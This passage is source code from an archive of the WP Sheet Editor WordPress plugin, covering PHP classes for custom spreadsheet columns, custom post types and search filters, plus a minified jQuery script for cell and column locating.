empty( $column_settings['cell_type'] ) ) { $column_settings['read_only'] = true; $column_settings['plain_renderer'] = 'html'; $column_settings['formatted_renderer'] = 'html'; } if ( ( $column_settings['cell_type'] === 'boton_gallery' || $column_settings['cell_type'] === 'boton_gallery_multiple' ) && $column_settings['width'] < 280 ) { $column_settings['width'] = 300; } if ( $column_settings['data_source'] === 'post_terms' ) { if ( ! in_array( $column_settings['formatted_renderer'], array( 'text', 'taxonomy_dropdown' ) ) ) { $column_settings['formatted_renderer'] = 'text'; } elseif ( ! in_array( $column_settings['plain_renderer'], array( 'text', 'taxonomy_dropdown' ) ) ) { $column_settings['plain_renderer'] = 'text'; } } $column_args = array( 'data_type' => $column_settings['data_source'], //String (post_data,meta_data) 'unformatted' => array( 'data' => $column_settings['key'], 'readOnly' => ( $column_settings['read_only'] === 'yes' ) ? true : false, ), //Array (Valores admitidos por el plugin de handsontable) 'column_width' => $column_settings['width'], //int (Ancho de la columna) 'title' => $column_settings['name'], //String (Titulo de la columna) 'type' => $column_settings['cell_type'], // String (Es para saber si será un boton que abre popup, si no dejar vacio) boton_tiny|boton_gallery|boton_gallery_multiple|(vacio) 'supports_formulas' => ( $column_settings['allow_formulas'] === 'yes' ) ? true : false, 'allow_to_hide' => ( $column_settings['allow_hide'] === 'yes' ) ? true : false, 'allow_to_save' => ( $column_settings['read_only'] === 'yes' && ! in_array( $column_settings['cell_type'], array( 'boton_gallery', 'boton_gallery_multiple' ) ) ) ? false : true, 'allow_to_rename' => ( $column_settings['allow_rename'] === 'yes' ) ? true : false, 'formatted' => array( 'data' => $column_settings['key'], 'readOnly' => ( $column_settings['read_only'] === 'yes' ) ? true : false, ), 'skip_columns_limit' => true, 'skip_blacklist' => true, 'allow_custom_format' => true, ); if ( in_array( $column_settings['plain_renderer'], array( 'html', 'text' ) ) ) { $column_args['unformatted']['renderer'] = $column_settings['plain_renderer']; } if ( in_array( $column_settings['formatted_renderer'], array( 'html', 'text' ) ) ) { $column_args['formatted']['renderer'] = $column_settings['formatted_renderer']; } if ( $column_settings['plain_renderer'] === 'date' ) { $column_args['unformatted'] = array_merge( $column_args['unformatted'], array( 'type' => 'date', 'dateFormatPhp' => 'Y-m-d', 'correctFormat' => true, 'defaultDate' => date( 'Y-m-d' ), 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, ), ) ); unset( $column_args['unformatted']['renderer'] ); } if ( $column_settings['formatted_renderer'] === 'date' ) { $column_args['formatted'] = array_merge( $column_args['formatted'], array( 'type' => 'date', 'dateFormatPhp' => 'Y-m-d', 'correctFormat' => true, 'defaultDate' => date( 'Y-m-d' ), 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, ), ) ); unset( $column_args['formatted']['renderer'] ); } if ( $column_settings['data_source'] === 'post_terms' ) { if ( $column_settings['plain_renderer'] === 'taxonomy_dropdown' ) { $column_args['unformatted'] = array_merge( $column_args['unformatted'], array( 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', ) ); } elseif ( $column_settings['formatted_renderer'] === 'taxonomy_dropdown' ) { $column_args['formatted'] = array_merge( $column_args['formatted'], array( 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', ) ); } } $editor->args['columns']->register_item( $column_settings['key'], $post_type, $column_args ); } } } public function make_columns_visible( $columns ) { if ( ! class_exists( 'WP_Sheet_Editor_Columns_Visibility' ) ) { return; } $columns_visibility = WP_Sheet_Editor_Columns_Visibility::get_instance(); $columns_visibility->change_columns_status( $columns ); } public function add_columns( $columns, $args = array() ) { $defaults = array( 'append' => false, ); $args = wp_parse_args( $args, $defaults ); if ( empty( $columns ) || ! is_array( $columns ) ) { return new WP_Error( 'wpse', __( 'Missing columns' ) ); } if ( $args['append'] ) { $existing_columns = get_option( $this->key, array() ); } else { $existing_columns = array(); } foreach ( $columns as $index => $column_settings ) { $column_settings = wp_parse_args( $column_settings, $this->default_column_settings ); $column_settings['key'] = sanitize_text_field( $column_settings['key'] ); $column_accepted = true; foreach ( $column_settings as $setting_key => $setting_value ) { if ( in_array( $setting_key, $this->required_column_settings ) && empty( $setting_value ) ) { $column_accepted = false; break; } } if ( ! $column_accepted ) { continue; } if ( $args['append'] ) { $existing_columns[] = $column_settings; } else { $existing_columns[ $index ] = $column_settings; } } update_option( $this->key, $existing_columns ); if ( ! empty( $existing_columns ) ) { $this->make_columns_visible( $existing_columns ); } return true; } public function delete_meta_key() { if ( empty( $_POST['post_type'] ) || empty( $_POST['column_key'] ) ) { wp_send_json_error( __( 'Missing post type or column_key' ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You are not allowed to do this action. Please reload the page or log in again.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); if ( is_string( $_POST['column_key'] ) ) { $column_keys = array( sanitize_text_field( $_POST['column_key'] ) ); } else { $column_keys = array_map( 'sanitize_text_field', $_POST['column_key'] ); } foreach ( $column_keys as $column_key ) { $result = VGSE()->helpers->get_current_provider()->delete_meta_key( $column_key, $post_type ); } wp_send_json_success( array( 'message' => __( 'The meta field was deleted successfully', 'vg_sheet_editor' ), ) ); } public function rename_meta_key() { if ( empty( $_POST['post_type'] ) || empty( $_POST['old_column_key'] ) || empty( $_POST['new_column_key'] ) || $_POST['old_column_key'] === $_POST['new_column_key'] ) { wp_send_json_error( __( 'Missing post type, old_column_key, or new_column_key; or the old and new key are the same.' ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You are not allowed to do this action. Please reload the page or log in again.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $old_column_key = sanitize_text_field( $_POST['old_column_key'] ); $new_column_key = sanitize_text_field( $_POST['new_column_key'] ); $result = VGSE()->helpers->get_current_provider()->rename_meta_key( $old_column_key, $new_column_key, $post_type ); if ( is_numeric( $result ) ) { wp_send_json_success( array( 'label' => $this->_convert_key_to_label( $new_column_key ), 'key' => $new_column_key, 'message' => __( 'The meta key was renamed successfully', 'vg_sheet_editor' ), ) ); } else { wp_send_json_error( array( 'message' => __( 'The meta key couldnt be renamed.', 'vg_sheet_editor' ) ) ); } } public function save_columns() { if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( __( 'You are not allowed to do this action. Please reload the page or log in again.' ) ); } if ( empty( $_POST['columns'] ) ) { update_option( $this->key, array() ); } else { $columns = array(); foreach ( $_POST['columns'] as $index => $dirty_column_args ) { foreach ( $this->bool_column_settings as $checkbox_field_key ) { if ( isset( $dirty_column_args[ $checkbox_field_key ] ) && is_array( $dirty_column_args[ $checkbox_field_key ] ) ) { $dirty_column_args[ $checkbox_field_key ] = current( $dirty_column_args[ $checkbox_field_key ] ); } } $columns[] = array( 'name' => sanitize_text_field( $dirty_column_args['name'] ), 'key' => sanitize_text_field( $dirty_column_args['key'] ), 'data_source' => sanitize_text_field( $dirty_column_args['data_source'] ), 'post_types' => array_map( 'sanitize_text_field', $dirty_column_args['post_types'] ), 'read_only' => isset( $dirty_column_args['read_only'] ) && $dirty_column_args['read_only'] === 'yes' ? 'yes' : '', 'allow_formulas' => isset( $dirty_column_args['allow_formulas'] ) && $dirty_column_args['allow_formulas'] === 'yes' ? 'yes' : '', 'allow_hide' => isset( $dirty_column_args['allow_hide'] ) && $dirty_column_args['allow_hide'] === 'yes' ? 'yes' : '', 'allow_rename' => isset( $dirty_column_args['allow_rename'] ) && $dirty_column_args['allow_rename'] === 'yes' ? 'yes' : '', 'plain_renderer' => sanitize_text_field( $dirty_column_args['plain_renderer'] ), 'formatted_renderer' => sanitize_text_field( $dirty_column_args['formatted_renderer'] ), 'width' => intval( $dirty_column_args['width'] ), 'cell_type' => sanitize_text_field( $dirty_column_args['cell_type'] ), ); } $saved = $this->add_columns( $columns ); if ( ! $saved || is_wp_error( $saved ) ) { wp_send_json_error( __( 'Columns could not be saved. Try again.', 'vg_sheet_editor' ) ); } } wp_send_json_success( __( 'Changes saved', 'vg_sheet_editor' ) ); } public function register_frontend_assets() { wp_enqueue_script( $this->key . '-repeater', plugins_url( '/', __FILE__ ) . 'assets/vendor/jquery.repeater/jquery.repeater.js', array( 'jquery' ), VGSE()->version, true ); wp_enqueue_script( $this->key . '-init', plugins_url( '/', __FILE__ ) . 'assets/js/init.js', array( 'jquery' ), VGSE()->version, true ); wp_localize_script( $this->key . '-init', $this->key, array( 'default_values' => wp_parse_args( $this->true_default_column_settings, $this->default_column_settings ), 'required_settings' => $this->required_column_settings, 'texts' => array( 'confirm_delete' => __( 'Are you sure you want to delete this column?', 'vg_sheet_editor' ), ), ) ); wp_enqueue_style( $this->key . '-styles', plugins_url( '/', __FILE__ ) . 'assets/css/styles.css' ); } public function register_menu_page() { add_submenu_page( 'vg_sheet_editor_setup', __( 'Custom columns', 'vg_sheet_editor' ), __( 'Custom columns', 'vg_sheet_editor' ), 'manage_options', $this->key, array( $this, 'render_settings_page' ) ); } public function render_settings_page() { require 'views/settings-page.php'; } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } } add_action( 'vg_sheet_editor/initialized', 'vgse_custom_columns_init' ); function vgse_custom_columns_init() { return WP_Sheet_Editor_Custom_Columns::get_instance(); } } modules/custom-post-types/index.php000064400000000000147600365160013471 0ustar00modules/custom-post-types/custom-post-types.php000064400000004422147600365160016035 0ustar00init(); } return WP_Sheet_Editor_CPTs::$instance; } function init() { add_filter('vg_sheet_editor/allowed_post_types', array($this, 'allow_all_post_types')); } /** * Allow all custom post types * @param array $allowed_post_types * @return array */ function allow_all_post_types($allowed_post_types) { $current_post_types = isset(VGSE()->options['be_post_types']) ? VGSE()->options['be_post_types'] : array(); if (empty($current_post_types) || !is_array($current_post_types)) { $current_post_types = array(); } $new_current_post_types = array(); foreach ($current_post_types as $current_post_type) { $new_current_post_types[$current_post_type] = $current_post_type; } $all_post_types = apply_filters('vg_sheet_editor/custom_post_types/get_all_post_types', VGSE()->helpers->get_all_post_types()); // We used to exclude post types with own sheet here but we stopped // because the bundle already has the list of post types without own sheet $allowed = (!empty(VGSE()->bundles['custom_post_types']) ) ? VGSE()->bundles['custom_post_types']['post_types'] : array(); foreach ($all_post_types as $post_type) { if (!in_array($post_type->name, $allowed, true)) { continue; } $allowed_post_types[$post_type->name] = $post_type->label; } $allowed_post_types = wp_parse_args($allowed_post_types, $new_current_post_types); return $allowed_post_types; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } add_action('vg_sheet_editor/initialized', 'vgse_cpt_init'); function vgse_cpt_init() { WP_Sheet_Editor_CPTs::get_instance(); } } modules/filters/assets/js/init.js000064400000015115147600365160013116 0ustar00jQuery(document).ready(function(){var t=jQuery("#be-filters"),n=t.parents(".remodal");if(!t.length)return!0;n.on("submit",function(e){e.preventDefault();var r=t.serialize();return t.find("select.select2").each(function(){var e=jQuery(this);e.val()||(r+="&"+e.attr("name")+"=")}),t.find("input:checkbox").each(function(){var e=jQuery(this);if(!e.prop("checked")&&e.attr("name")){var t=e.data("unchecked-value")||"";r+="&"+e.attr("name")+"="+t}}),beAddRowsFilter(r),vgseReloadSpreadsheet(!0,vgse_editor_settings.texts.save_changes_before_remove_filter),n.is(":visible")&&n.find(".remodal-cancel").trigger("click"),!1}),jQuery("body").on("vgSheetEditor/beforeIntialLoadingRows",function(){vgseFilters.setLastSessionFilters()})}),jQuery(document).ready(function(){jQuery("body").on("vgSheetEditor:beforeRowsInsert",function(e,t){if(void 0===window.cellLocatorAlreadyInit){window.cellLocatorAlreadyInit=!0;var r=document.getElementById("cell-locator-input");r&&Handsontable.dom.addEvent(r,"keyup",function(e){if(13==e.keyCode){var t=hot.getPlugin("search").query(this.value);t.length?hot.scrollViewportTo(t[0].row,t[0].col,!0):this.value&&alert("Cells not found. Try with another search criteria."),hot.render(),jQuery("#responseConsole .rows-located").length||jQuery("#responseConsole").append('. '),jQuery("#responseConsole .rows-located").text(t.length+" cells located")}})}if(void 0===window.columnLocatorAlreadyInit){window.columnLocatorAlreadyInit=!0;var n=document.getElementById("column-locator-input");n&&Handsontable.dom.addEvent(n,"keyup",function(e){if(13==e.keyCode){var t=this.value;if("number"!=typeof(n=hot.propToCol(t))&&(n=null),"number"!=typeof(n=n||hot.propToCol(t.toLowerCase()))&&(n=null),n)i=1;else{var r=hot.getSettings().colHeaders,n=null,o=this.value.toLowerCase(),i=0;r.forEach(function(e,t){e&&e.indexOf("'),jQuery("#responseConsole .columns-located").text(i+" columns located")}})}})}),jQuery(document).ready(function(){if("undefined"==typeof hot)return!0;jQuery("body").on("keyup",".button-container.run_filters-container .toolbar-submenu input",function(e){13==e.keyCode&&vgseFilters.startQuickSearch(),27==e.keyCode&&vgseFilters.restoreHoverEffectOnSubmenu()}),jQuery("body").on("click",".button-container.run_filters-container .toolbar-submenu .wpse-start-quick-search",function(e){e.preventDefault(),vgseFilters.startQuickSearch()}),document.addEventListener("keydown",function(e){if("f"===e.key.toLowerCase()&&e.ctrlKey&&!jQuery(".remodal-is-opened").length){e.preventDefault(),hot.deselectCell();var t=jQuery("#vgse-wrapper .vg-toolbar .button-container.run_filters-container .toolbar-submenu");t.css({width:360,display:"block"}),t.find(".wpse-quick-search, .wpse-advanced-filters-value-selector").last().focus().select()}})});var vgseFilters={restoreHoverEffectOnSubmenu:function(){jQuery(".button-container.run_filters-container .toolbar-submenu").css({width:"",display:""})},startQuickSearch:function(){jQuery(".button-container.run_filters-container .toolbar-submenu").find("input,select,textarea").each(function(){var e=jQuery(this).attr("name");if(e){var t=jQuery(this).val(),r=jQuery("#be-filters").find("input,select,textarea").filter(function(){return jQuery(this).attr("name")===e});"checkbox"===r.attr("type")?r.prop("checked",jQuery(this).prop("checked")):r.val(t),r.trigger("change")}}),vgseFilters.restoreHoverEffectOnSubmenu(),jQuery("#be-filters").submit()},setLastSessionFilters:function(){vgse_editor_settings.last_session_filters&&(beAddRowsFilter(vgse_editor_settings.last_session_filters),this.fillSearchForm(vgse_editor_settings.last_session_filters),this.fillFavoriteSearchForm(vgse_editor_settings.last_session_filters),window.vgseShowLastSessionFiltersTip=!0,jQuery("body").on("vgSheetEditor:beforeRowsInsert",function(){if(!window.vgseShowLastSessionFiltersTip)return!0;window.vgseShowLastSessionFiltersTip=!1,vgseCustomTooltip(jQuery(".vgse-current-filters a").last(),vgse_editor_settings.texts.last_session_filters_notice,"right",!1,"success")}))},setFiltersSilently:function(e){e&&beAddRowsFilter(e)},fillFavoriteSearchForm:function(e){var l=jQuery(".vg-toolbar .button-container.run_filters-container .toolbar-submenu"),t="string"==typeof e?beParseParams(e):e,c=l;jQuery.each(t,function(e,t){if("meta_query"===e){if(l.find(".advanced-filters-toggle").prop("checked",!0).trigger("change"),"object"==typeof t){var r=(t=vgObjectToArray(t)).length,n=c.find("li.advanced-field:not(.base)").length;if(n'+t+""),a.val(t)),a.trigger("change")}})},fillSearchForm:function(e){var l=jQuery("#be-filters"),t="string"==typeof e?beParseParams(e):e,c=l.find(".advanced-filters-list");jQuery.each(t,function(e,t){if("meta_query"===e){if(l.find(".advanced-filters-toggle").prop("checked",!0).trigger("change"),"object"==typeof t){var r=(t=vgObjectToArray(t)).length,n=c.find("li.advanced-field:not(.base)").length;if(n'+t+""),a.val(t)),a.trigger("change")}})}};modules/filters/index.php000064400000000000147600365160011502 0ustar00modules/filters/filters.php000064400000061065147600365160012065 0ustar00plugin_url = plugins_url( '/', __FILE__ ); $this->plugin_dir = __DIR__; add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_locate' ), 80 ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_search' ), 8 ); add_action( 'vg_sheet_editor/after_enqueue_assets', array( $this, 'register_assets' ) ); add_filter( 'vg_sheet_editor/load_rows/wp_query_args', array( $this, 'filter_posts' ), 10, 2 ); add_action( 'vg_sheet_editor/load_rows/after_processing', array( $this, 'save_session_filters' ), 10, 4 ); add_filter( 'vg_sheet_editor/handsontable/custom_args', array( $this, 'enable_cell_locator_js' ) ); add_filter( 'posts_clauses', array( $this, 'search_by_keyword' ), 10, 2 ); add_filter( 'vg_sheet_editor/js_data', array( $this, 'set_initial_filters' ), 10, 2 ); add_filter( 'vg_sheet_editor/load_rows/wp_query_args', array( $this, 'add_session_query_vars_from_session_id' ), 10, 2 ); add_action( 'vg_sheet_editor/editor_page/after_editor_page', array( $this, 'init_session_parameters_from_url' ) ); } function init_session_parameters_from_url( $post_type ) { $filters = array_filter( array( 'wpse_session_query' => ! empty( $_GET['wpse_session_query'] ) ? sanitize_text_field( $_GET['wpse_session_query'] ) : '', 'wpse_auto_export' => ! empty( $_GET['wpse_auto_export'] ) ? 1 : 0, ) ); ?> get_raw_filters( $settings ); if ( empty( $filters['wpse_session_query'] ) ) { return $wp_query; } $custom_wp_query_json = get_transient( $filters['wpse_session_query'] ); if ( empty( $custom_wp_query_json ) ) { return $wp_query; } $custom_wp_query = json_decode( $custom_wp_query_json, true ); if ( empty( $custom_wp_query ) ) { return $wp_query; } // We will use the pagination with the sheet settings and ignore // the pagination parameters from the saved query // We will use the author restrictions from the sheet settings and ignore // the author parameters from the saved query for security reasons $fields_to_remove = array( 'posts_per_page', 'paged', 'author', 'fields', 'posts_per_archive_page', 'nopaging' ); foreach ( $fields_to_remove as $field_to_remove ) { if ( isset( $custom_wp_query[ $field_to_remove ] ) ) { unset( $custom_wp_query[ $field_to_remove ] ); } } $wp_query = wp_parse_args( $custom_wp_query, $wp_query ); return $wp_query; } /** * Save session filters only if the loading of rows is successful, * otherwise clear the saved filters for the post type to prevent errors * where the spreadsheet is stuck doing expensive queries on every page reload * * @global object $wpdb * @param array $rows * @param array $wp_query_args * @param array $spreadsheet_columns * @param array $data */ function save_session_filters( $rows, $wp_query_args, $spreadsheet_columns, $data ) { global $wpdb; // Save session filters if ( ! empty( $data['wpse_source'] ) && $data['wpse_source'] === 'load_rows' ) { $sheet_sessions_key = $wpdb->prefix . 'wpse_sheet_sessions'; $provider = VGSE()->helpers->get_provider_from_query_string(); $sheet_sessions = get_user_meta( get_current_user_id(), $sheet_sessions_key, true ); $filters = $this->get_raw_filters( $data ); if ( empty( $sheet_sessions ) || ! is_array( $sheet_sessions ) ) { $sheet_sessions = array(); } if ( empty( $rows ) ) { $sheet_sessions[ $provider ] = array(); } else { $sheet_sessions[ $provider ] = $filters; } update_user_meta( get_current_user_id(), $sheet_sessions_key, $sheet_sessions ); } } function search_by_keyword( $clauses, $wp_query ) { if ( ! empty( $wp_query->query['wpse_contains_keyword'] ) ) { $clauses = $this->add_search_by_keyword_clause( $clauses, $wp_query->query['wpse_contains_keyword'], 'LIKE' ); } return $clauses; } function add_search_by_keyword_clause( $clauses, $raw_keywords, $operator, $internal_join = 'OR' ) { global $wpdb; if ( ! in_array( $internal_join, array( 'AND', 'OR' ), true ) ) { $internal_join = 'OR'; } $checks = array(); $search_columns = array( 'post_title', 'post_content', 'post_excerpt' ); $phrases = array_map( 'trim', explode( ';', $raw_keywords ) ); $prepared_values = array(); $phrase_checks = array(); foreach ( $phrases as $phrase ) { $words = explode( ' ', $phrase ); if ( empty( $words ) ) { continue; } foreach ( $words as $word ) { $word_checks = array(); foreach ( $search_columns as $search_column ) { $word_checks[] = $wpdb->posts . '.%i ' . $operator . ' %s'; $prepared_values = array_merge( $prepared_values, array( $search_column, '%' . $wpdb->esc_like( $word ) . '%' ) ); } if ( is_numeric( $phrase ) ) { $word_checks[] = $wpdb->posts . '.%i = %d'; $prepared_values[] = 'ID'; $prepared_values[] = intval( $phrase ); } $phrase_checks[] = '( ' . implode( " $internal_join ", $word_checks ) . ' )'; } $all_checks = implode( ' AND ', $phrase_checks ); $checks = apply_filters( 'vg_sheet_editor/filters/search_by_keyword_clauses/keyword_check', $all_checks, $phrase, $clauses, $raw_keywords, $operator, $internal_join ); } $checks = $wpdb->prepare( $checks, $prepared_values ); $clauses['where'] .= ' AND ( ( ' . $checks . ' ) ) '; return apply_filters( 'vg_sheet_editor/filteres/search_by_keyword_clauses', $clauses, $raw_keywords, $operator, $internal_join ); } function enable_cell_locator_js( $args ) { $args['search'] = true; return $args; } /** * Register frontend assets */ function register_assets() { wp_enqueue_script( 'filters_js', $this->plugin_url . 'assets/js/init.js', array(), VGSE()->version, false ); } /** * Register toolbar items */ function register_toolbar_locate( $editor ) { $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'cell_locator', array( 'type' => 'html', 'help_tooltip' => __( 'To search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.', 'vg_sheet_editor' ), 'content' => '', 'label' => __( 'Locate cell.', 'vg_sheet_editor' ), ), $post_type ); $editor->args['toolbars']->register_item( 'column_locator', array( 'type' => 'html', 'help_tooltip' => __( 'Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.', 'vg_sheet_editor' ), 'content' => '', 'label' => __( 'Locate column', 'vg_sheet_editor' ), ), $post_type ); } } function register_toolbar_search( $editor ) { $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'run_filters', array( 'type' => 'button', 'content' => __( 'Search', 'vg_sheet_editor' ), 'icon' => 'fa fa-search', 'extra_html_attributes' => 'data-remodal-target="modal-filters"', 'footer_callback' => array( $this, 'render_filters_form' ), ), $post_type ); $editor->args['toolbars']->register_item( 'quick_search', array( 'type' => 'html', // html | switch | button 'content' => __( 'Quick search', 'vg_sheet_editor' ) . '', 'allow_in_frontend' => true, 'parent' => 'run_filters', ), $post_type ); } } function _get_allowed_operators() { return array( '=', '!=', '<', '<=', '>', '>=', 'OR', 'LIKE', 'NOT LIKE', 'starts_with', 'ends_with', 'length_less', 'length_higher', 'REGEXP', 'last_hours', 'last_days', 'last_weeks', 'last_months', ); } function _sanitize_filters( $filters ) { $out = array(); if ( empty( $filters ) || ! is_array( $filters ) ) { return $out; } $post_type = VGSE()->helpers->get_provider_from_query_string(); // Cache variable that will hold the unfiltered columns that we get and use below $columns = null; foreach ( $filters as $filter_key => $filter ) { if ( empty( $filter ) || empty( $filter_key ) ) { continue; } if ( strpos( $filter_key, '{' ) !== false ) { continue; } if ( is_array( $filter ) ) { $filter = array_filter( $filter ); } if ( in_array( $filter_key, array( 'search_name', 'date_from', 'date_to' ) ) ) { $out[ $filter_key ] = sanitize_text_field( $filter ); } elseif ( $filter_key === 'apply_to' ) { $out[ $filter_key ] = array_map( 'sanitize_text_field', array_filter( $filter ) ); } elseif ( $filter_key === 'post__in' ) { $out[ $filter_key ] = sanitize_textarea_field( $filter ); } elseif ( $filter_key === 'keyword' ) { $out[ $filter_key ] = wp_kses_post( $filter ); } elseif ( $filter_key === 'keyword_exclude' ) { $out[ $filter_key ] = wp_kses_post( $filter ); } elseif ( $filter_key === 'post_parent' ) { $out[ $filter_key ] = (int) str_replace( 'page--', '', $filter ); } elseif ( $filter_key === 'post_status' ) { $out[ $filter_key ] = array_map( 'sanitize_key', array_filter( $filter ) ); } elseif ( $filter_key === 'post_author' && WP_Sheet_Editor_Helpers::current_user_can( 'edit_others_posts' ) ) { $out[ $filter_key ] = array_map( 'intval', array_filter( $filter ) ); } elseif ( $filter_key === 'meta_query' && ! empty( $filter ) ) { $allowed_operators = $this->_get_allowed_operators(); $out[ $filter_key ] = array(); foreach ( $filter as $meta_query ) { if ( ! isset( $meta_query['compare'] ) ) { continue; } // Skip search param if the operator is not found in the allowed operators $operator = htmlspecialchars_decode( $meta_query['compare'] ); if ( ! in_array( $operator, $allowed_operators, true ) ) { continue; } if ( isset( $meta_query['key'] ) && is_array( $meta_query['key'] ) ) { $meta_query['key'] = array_filter( $meta_query['key'] ); } if ( empty( $meta_query['key'] ) || empty( $meta_query['compare'] ) || empty( $meta_query['source'] ) ) { continue; } if ( ! isset( $meta_query['value'] ) ) { $meta_query['value'] = ''; } if ( is_null( $columns ) ) { $columns = VGSE()->helpers->get_unfiltered_provider_columns( $post_type ); } $is_date_filter = isset( $columns[ $meta_query['key'] ] ) && $columns[ $meta_query['key'] ]['value_type'] === 'date'; if ( $is_date_filter ) { $date_format_for_db = isset( $columns[ $meta_query['key'] ]['formatted']['customDatabaseFormat'] ) ? $columns[ $meta_query['key'] ]['formatted']['customDatabaseFormat'] : $columns[ $meta_query['key'] ]['formatted']['dateFormatPhp']; } if ( empty( $date_format_for_db ) ) { $date_format_for_db = 'Y-m-d H:i:s'; } // If this is a "contains date" filter, remove the 0:00:00 time because they want contains=date without time if ( $is_date_filter && $operator === 'LIKE' && strpos( $meta_query['value'], ' 00:00:00' ) !== false ) { $meta_query['value'] = str_replace( ' 00:00:00', '', $meta_query['value'] ); } if ( in_array( $operator, array( 'last_hours', 'last_days', 'last_weeks', 'last_months' ), true ) ) { $time_unit = str_replace( 'last_', '', $operator ); $operator = '>='; $meta_query['compare'] = $operator; $meta_query['value'] = date( $date_format_for_db, strtotime( '-' . (int) $meta_query['value'] . ' ' . $time_unit . ' 00:00:00' ) ); } $meta_filter = array( 'key' => sanitize_text_field( $meta_query['key'] ), 'compare' => $operator, 'source' => sanitize_text_field( $meta_query['source'] ), 'value' => html_entity_decode( wp_kses_post( $meta_query['value'] ) ), ); // Create a unique id so we can automatically remove duplicate filters $meta_filter_unique_id = md5( wp_json_encode( $meta_filter ) ); $out[ $filter_key ][ $meta_filter_unique_id ] = $meta_filter; } $out[ $filter_key ] = array_values( $out[ $filter_key ] ); } else { $out[ $filter_key ] = sanitize_text_field( $filter ); } } return apply_filters( 'vg_sheet_editor/filters/sanitize_request_filters', array_filter( $out ), $filters ); } /** * Return sanitized filters * * @param string|array $raw_filters This accepts a JSON or urlencoded string, or array with key values. * @return array */ function _get_raw_filters( $raw_filters ) { if ( empty( $raw_filters ) ) { return array(); } if ( is_string( $raw_filters ) && strpos( $raw_filters, '{' ) !== false ) { $json_decoded = json_decode( wp_unslash( $raw_filters ), true ); if ( is_array( $json_decoded ) ) { $filters = $json_decoded; } } elseif ( is_string( $raw_filters ) ) { parse_str( urldecode( html_entity_decode( $raw_filters ) ), $filters ); } elseif ( is_array( $raw_filters ) ) { $filters = $raw_filters; } if ( empty( $filters ) ) { return array(); } $filters = $this->_sanitize_filters( $filters ); return $filters; } function has_filter( $key, $value, $filters = null ) { if ( ! $filters ) { $filters = $this->get_raw_filters(); } $filter_value = VGSE()->helpers->get_with_dot_notation( $filters, $key ); return $filter_value === $value; } function get_raw_filters( $data = array() ) { $raw_filters = null; if ( isset( $_REQUEST['filters'] ) ) { $raw_filters = $_REQUEST['filters']; } elseif ( isset( $_REQUEST['raw_form_data']['filters'] ) ) { $raw_filters = $_REQUEST['raw_form_data']['filters']; } return $this->_get_raw_filters( $raw_filters ); } function get_last_session_filters( $current_provider_in_page ) { global $wpdb; // Save session filters $sheet_sessions_key = $wpdb->prefix . 'wpse_sheet_sessions'; $sheet_sessions = get_user_meta( get_current_user_id(), $sheet_sessions_key, true ); if ( empty( $sheet_sessions ) || ! is_array( $sheet_sessions ) ) { $sheet_sessions = array(); } $out = ( ! empty( $sheet_sessions[ $current_provider_in_page ] ) ) ? array_filter( $sheet_sessions[ $current_provider_in_page ] ) : array(); if ( ! empty( $out['meta_query'] ) ) { foreach ( $out['meta_query'] as $index => $meta_query ) { if ( empty( $meta_query['key'] ) || ( is_array( $meta_query['key'] ) && count( $meta_query['key'] ) > 1 ) ) { unset( $out['meta_query'][ $index ] ); } } } return apply_filters( 'vg_sheet_editor/filters/last_session_filters', $out ); } function set_initial_filters( $all_settings, $current_provider_in_page ) { // If we received custom filters from the URL or post body (wpse_custom_filters query string), don't apply the previous session filters if ( VGSE()->helpers->user_can_edit_post_type( $current_provider_in_page ) && ! empty( $_REQUEST['wpse_custom_filters'] ) && is_array( $_REQUEST['wpse_custom_filters'] ) ) { $last_session_filters = $this->_sanitize_filters( $_REQUEST['wpse_custom_filters'] ); } elseif ( ! empty( $_REQUEST['wpse_session_query'] ) ) { // If the request has wpse_session_query filter, it means that we're loading a spreadsheet with a pre-saved full query so we don't want to apply the previous session filters $last_session_filters = array(); } else { $last_session_filters = $this->get_last_session_filters( $current_provider_in_page ); } $all_settings['last_session_filters'] = $last_session_filters; // We remove the wpse_session_query and auto export filters, we don't want to show them to the user if ( ! empty( $all_settings['last_session_filters'] ) ) { if ( isset( $all_settings['last_session_filters']['wpse_session_query'] ) ) { unset( $all_settings['last_session_filters']['wpse_session_query'] ); } if ( isset( $all_settings['last_session_filters']['wpse_auto_export'] ) ) { unset( $all_settings['last_session_filters']['wpse_auto_export'] ); } } return $all_settings; } /** * Apply filters to wp-query args * @param array $query_args * @param array $data * @return array */ function filter_posts( $query_args, $data ) { if ( ! empty( $data['filters'] ) ) { $filters = $this->get_raw_filters( $data ); if ( ! empty( $filters['post_status'] ) ) { $filters['post_status'] = array_map( 'sanitize_key', array_filter( $filters['post_status'] ) ); $query_args['post_status'] = $filters['post_status']; } if ( ! empty( $filters['post_author'] ) && is_array( $filters['post_author'] ) && WP_Sheet_Editor_Helpers::current_user_can( 'edit_others_posts' ) ) { $filters['post_author'] = array_map( 'intval', array_filter( $filters['post_author'] ) ); $query_args['author__in'] = $filters['post_author']; } if ( ! empty( $filters['keyword'] ) ) { $editor = VGSE()->helpers->get_provider_editor( $query_args['post_type'] ); if ( $editor->provider->is_post_type ) { $query_args['wpse_contains_keyword'] = $filters['keyword']; } else 